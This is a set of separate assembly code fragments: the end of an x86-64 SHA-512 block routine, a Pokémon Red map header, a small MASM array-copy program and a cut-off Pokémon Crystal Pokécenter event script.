$(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (432)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (440)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (448)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (456)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (464)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (472)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (480)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (488)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (496)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (504)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (512)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 add (520)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 add (528)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 add (536)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 add (544)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 add (552)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 add (560)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 add (568)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 add (576)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 add (584)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 add (592)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 add (600)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 add (608)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 add (616)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 add (624)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 add (632)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, (%rdi) add %r9, (8)(%rdi) add %r10, (16)(%rdi) add %r11, (24)(%rdi) add %r12, (32)(%rdi) add %r13, (40)(%rdi) add %r14, (48)(%rdi) add %r15, (56)(%rdi) add $(128), %rsi subq $(128), (128)(%rsp) jg .Lsha512_block_loopgas_1 add $(152), %rsp pop %rbp pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx ret .Lfe1: .size UpdateSHA512, .Lfe1-(UpdateSHA512)
SilphCo4F_h: db FACILITY ; tileset db SILPH_CO_4F_HEIGHT, SILPH_CO_4F_WIDTH ; dimensions (y, x) dw SilphCo4F_Blocks ; blocks dw SilphCo4F_TextPointers ; texts dw SilphCo4F_Script ; scripts db 0 ; connections dw SilphCo4F_Object ; objects
; coppy an array to another using string instructions .386 .model flat,stdcall .stack 4096 ExitProcess proto,dwExitCode:dword .data source BYTE 24 DUP(9) target BYTE 24 DUP(?) .code main proc cld mov ecx, LENGTHOF source mov esi, OFFSET source mov edi, OFFSET target rep movsb quit: invoke ExitProcess,0 main endp end main
object_const_def ; object_event constants const GOLDENRODPOKECENTER1F_NURSE const GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST const GOLDENRODPOKECENTER1F_GAMEBOY_KID const GOLDENRODPOKECENTER1F_LASS const GOLDENRODPOKECENTER1F_POKEFAN_F GoldenrodPokecenter1F_MapScripts: db 0 ; scene scripts db 0 ; callbacks GoldenrodPokecenter1FNurseScript: jumpstd pokecenternurse GoldenrodPokecenter1F_GSBallSceneLeft: checkevent EVENT_BEAT_ELITE_FOUR iftrue .gsball end .gsball checkevent EVENT_GOT_GS_BALL_FROM_POKECOM_CENTER iftrue .cancel playsound SFX_EXIT_BUILDING moveobject GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, 0, 7 disappear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST appear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST playmusic MUSIC_SHOW_ME_AROUND applymovement GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, GoldenrodPokeCenter1FLinkReceptionistApproachPlayerAtLeftDoorwayTileMovement turnobject PLAYER, UP opentext writetext GoldenrodPokeCenter1FLinkReceptionistPleaseAcceptGSBallText waitbutton verbosegiveitem GS_BALL setevent EVENT_GOT_GS_BALL_FROM_POKECOM_CENTER setevent EVENT_CAN_GIVE_GS_BALL_TO_KURT writetext GoldenrodPokeCenter1FLinkReceptionistPleaseDoComeAgainText waitbutton closetext applymovement GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, GoldenrodPokeCenter1FLinkReceptionistWalkToStairsFromLeftDoorwayTileMovement special RestartMapMusic disappear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST playsound SFX_EXIT_BUILDING .cancel end GoldenrodPokecenter1F_GSBallSceneRight: checkevent EVENT_BEAT_ELITE_FOUR iftrue .gsball end .gsball checkevent EVENT_GOT_GS_BALL_FROM_POKECOM_CENTER iftrue .cancel playsound SFX_EXIT_BUILDING moveobject GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, 0, 7 disappear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST appear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST playmusic MUSIC_SHOW_ME_AROUND applymovement GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, GoldenrodPokeCenter1FLinkReceptionistApproachPlayerAtRightDoorwayTileMovement turnobject PLAYER, UP opentext writetext GoldenrodPokeCenter1FLinkReceptionistPleaseAcceptGSBallText waitbutton verbosegiveitem GS_BALL setevent EVENT_GOT_GS_BALL_FROM_POKECOM_CENTER setevent EVENT_CAN_GIVE_GS_BALL_TO_KURT writetext GoldenrodPokeCenter1FLinkReceptionistPleaseDoComeAgainText waitbutton closetext applymovement GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST, GoldenrodPokeCenter1FLinkReceptionistWalkToStairsFromRightDoorwayTileMovement special RestartMapMusic disappear GOLDENRODPOKECENTER1F_LINK_RECEPTIONIST playsound SFX_EXIT_BUILDING .cancel end GoldenrodPokecenter1FGameboyKidScript: jumptextfaceplayer GoldenrodPokecenter1FGameboyKidText GoldenrodPokecenter1FLassScript: jumptextfaceplayer GoldenrodPokecenter1FLassText GoldenrodPokecenter1FPokefanF: faceplayer opentext writetext GoldenrodPokecenter1FPokefanFDoYouHaveEonMailText waitbutton writetext GoldenrodPokecenter1FAskGiveAwayAnEonMailText yesorno iffalse .NoEonMail takeitem EON_MAIL iffalse .NoEonMail writetext GoldenrodPokecenter1FPlayerGaveAwayTheEonMailText waitbutton writetext GoldenrodPokecenter1FPokefanFThisIsForYouText waitbutton verbosegiveitem REVIVE iffalse .NoRoom writetext GoldenrodPokecenter1FPokefanFDaughterWillBeDelightedText waitbutton closetext end .NoEonMail: writetext GoldenrodPokecenter1FPokefanFTooBadText waitbutton closetext 